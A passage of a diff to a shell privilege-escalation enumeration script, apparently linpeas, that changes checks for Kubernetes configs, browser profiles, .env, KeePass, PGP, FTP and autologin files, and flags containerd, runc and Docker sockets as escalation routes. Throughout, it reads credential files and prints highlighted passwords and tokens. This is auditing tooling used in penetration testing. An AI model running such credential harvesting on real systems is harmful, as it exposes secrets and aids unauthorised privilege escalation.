"s,\.pgp$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gpg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gpg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gpg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gpg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gnupg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gnupg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gnupg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gnupg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_CACHE_VI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cache Vi Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.swp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.swp"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.swp$" | while read f; do ls -ld "$f" | sed -${E} "s,\.swp$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.viminfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.viminfo"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.viminfo$" | while read f; do ls -ld "$f" | sed -${E} "s,\.viminfo$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.swp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.swp"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.swp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.swp$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.viminfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.viminfo"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.viminfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.viminfo$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_WGET" ] || [ "$DEBUG" ]; then print_2title "Analyzing Wget Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WGET\" | grep -E \"\.wgetrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".wgetrc"; fi; fi; printf "%s" "$PSTORAGE_WGET" | grep -E "\.wgetrc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.wgetrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WGET\" | grep -E \"\.wgetrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".wgetrc"; fi; fi; printf "%s" "$PSTORAGE_WGET" | grep -E "\.wgetrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.wgetrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; fi ##-- SI) containerd installed -containerd=$(command -v ctr) -if [ "$containerd" ] || [ "$DEBUG" ]; then - print_2title "Checking if containerd(ctr) is available" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation" - if [ "$containerd" ]; then - echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," - ctr image list +if ! [ "$SEARCH_IN_FOLDER" ]; then + containerd=$(command -v ctr) + if [ "$containerd" ] || [ "$DEBUG" ]; then + print_2title "Checking if containerd(ctr) is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation" + if [ "$containerd" ]; then + echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + ctr image list 2>&1 + fi + echo "" fi - echo "" fi ##-- SI) runc installed -runc=$(command -v runc) -if [ "$runc" ] || [ "$DEBUG" ]; then - print_2title "Checking if runc is available" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation" - if [ "$runc" ]; then - echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," +if ! [ "$SEARCH_IN_FOLDER" ]; then + runc=$(command -v runc) + if [ "$runc" ] || [ "$DEBUG" ]; then + print_2title "Checking if runc is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation" + if [ "$runc" ]; then + echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + fi + echo "" fi - echo "" fi #-- SI) Docker if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then print_2title "Searching docker files (limit 70)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation" printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do ls -l "$f" 2>/dev/null if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then - echo "Docker socket file ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi done echo "" fi -if [ -d "$HOME/.kube" ] || [ -d "/etc/kubernetes" ] || [ -d "/var/lib/localkube" ] || [ "`(env | set) | grep -Ei 'kubernetes|kube' | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE"`" ] || [ "$DEBUG" ]; then - print_2title "Kubernetes information" | sed -${E} "s,config,${SED_RED}," - ls -l "$HOME/.kube" 2>/dev/null - grep -ERH "client-secret:|id-token:|refresh-token:" "$HOME/.kube" 2>/dev/null | sed -${E} "s,client-secret:.*|id-token:.*|refresh-token:.*,${SED_RED}," - (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED}," - ls -Rl /etc/kubernetes /var/lib/localkube 2>/dev/null -fi - -if [ "$PSTORAGE_KUBELET" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Kubelet Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KUBELET\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBELET" | grep -E "kubelet$" | while read f; do ls -ld "$f" | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "kubeconfig" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeconfig,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_KUBELET\" | grep -E \"kube-proxy$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kube-proxy"; fi; fi; printf "%s" "$PSTORAGE_KUBELET" | grep -E "kube-proxy$" | while read f; do ls -ld "$f" | sed -${E} "s,kube-proxy$,${SED_RED},"; find "$f" -name "kubeconfig" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeconfig,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,cluster:|certificate-authority-data:|namespace:|user:|token:,${SED_RED},g"; done; echo "";done; echo ""; +if [ "$PSTORAGE_KUBERNETES" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Kubernetes Files (limit 70)" + (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED}," + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"\.kube.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".kube*"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "\.kube.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kube.*$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "kubelet.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubelet.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "kubeadm-flags.env" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeadm-flags.env,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kube-proxy$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kube-proxy"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kube-proxy$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kube-proxy$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubernetes$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubernetes"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubernetes$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubernetes$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_FIREFOX" ] || [ "$DEBUG" ]; then print_2title "Analyzing Firefox Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"\.mozilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".mozilla"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "\.mozilla$" | while read f; do ls -ld "$f" | sed -${E} "s,\.mozilla$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"Firefox$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Firefox"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "Firefox$" | while read f; do ls -ld "$f" | sed -${E} "s,Firefox$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"\.mozilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".mozilla"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "\.mozilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.mozilla$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"Firefox$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Firefox"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "Firefox$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Firefox$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_CHROME" ] || [ "$DEBUG" ]; then print_2title "Analyzing Chrome Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"google-chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "google-chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "google-chrome$" | while read f; do ls -ld "$f" | sed -${E} "s,google-chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"Chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "Chrome$" | while read f; do ls -ld "$f" | sed -${E} "s,Chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"google-chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "google-chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "google-chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,google-chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"Chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "Chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_AUTOLOGIN" ] || [ "$DEBUG" ]; then print_2title "Analyzing Autologin Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin$" | while read f; do ls -ld "$f" | sed -${E} "s,autologin$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin.conf"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,autologin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin.conf"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; fi @@ -3242,165 +3941,173 @@ fi if [ "$PSTORAGE_SNMP" ] || [ "$DEBUG" ]; then print_2title "Analyzing SNMP Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*" | sed -${E} "s,rocommunity|rwcommunity|extend.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*" | sed -${E} "s,rocommunity|rwcommunity|extend.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_PYPIRC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Pypirc Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PYPIRC\" | grep -E \"\.pypirc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".pypirc"; fi; fi; printf "%s" "$PSTORAGE_PYPIRC" | grep -E "\.pypirc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.pypirc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username|password,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PYPIRC\" | grep -E \"\.pypirc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".pypirc"; fi; fi; printf "%s" "$PSTORAGE_PYPIRC" | grep -E "\.pypirc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pypirc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username|password,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_POSTFIX" ] || [ "$DEBUG" ]; then print_2title "Analyzing Postfix Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_POSTFIX\" | grep -E \"postfix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postfix"; fi; fi; printf "%s" "$PSTORAGE_POSTFIX" | grep -E "postfix$" | while read f; do ls -ld "$f" | sed -${E} "s,postfix$,${SED_RED},"; find "$f" -name "master.cf" | while read ff; do ls -ld "$ff" | sed -${E} "s,master.cf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "user=" | sed -${E} "s,user=|argv=,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTFIX\" | grep -E \"postfix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postfix"; fi; fi; printf "%s" "$PSTORAGE_POSTFIX" | grep -E "postfix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postfix$,${SED_RED},"; find "$f" -name "master.cf" | while read ff; do ls -ld "$ff" | sed -${E} "s,master.cf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "user=" | sed -${E} "s,user=|argv=,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_LDAPRC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Ldaprc Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_LDAPRC\" | grep -E \"\.ldaprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".ldaprc"; fi; fi; printf "%s" "$PSTORAGE_LDAPRC" | grep -E "\.ldaprc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ldaprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_LDAPRC\" | grep -E \"\.ldaprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".ldaprc"; fi; fi; printf "%s" "$PSTORAGE_LDAPRC" | grep -E "\.ldaprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ldaprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_ENV" ] || [ "$DEBUG" ]; then print_2title "Analyzing Env Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env$" | while read f; do ls -ld "$f" | sed -${E} "s,\.env$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB],${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.env$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB],${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_MSMTPRC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Msmtprc Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MSMTPRC\" | grep -E \"\.msmtprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".msmtprc"; fi; fi; printf "%s" "$PSTORAGE_MSMTPRC" | grep -E "\.msmtprc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.msmtprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MSMTPRC\" | grep -E \"\.msmtprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".msmtprc"; fi; fi; printf "%s" "$PSTORAGE_MSMTPRC" | grep -E "\.msmtprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.msmtprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_KEEPASS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Keepass Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"\.kdbx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.kdbx"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "\.kdbx$" | while read f; do ls -ld "$f" | sed -${E} "s,\.kdbx$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.config.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.config*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.config.*$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.config.*$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.ini"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.enforced.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.enforced*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.enforced.*$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.enforced.*$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"\.kdbx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.kdbx"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "\.kdbx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kdbx$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.config.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.config*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.config.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.config.*$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.ini"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.enforced.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.enforced*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.enforced.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.enforced.*$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_FTP" ] || [ "$DEBUG" ]; then print_2title "Analyzing FTP Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ftpconfig"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ffftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.config"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.config$" | while read f; do ls -ld "$f" | sed -${E} "s,ftp\.config$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" | sed -${E} 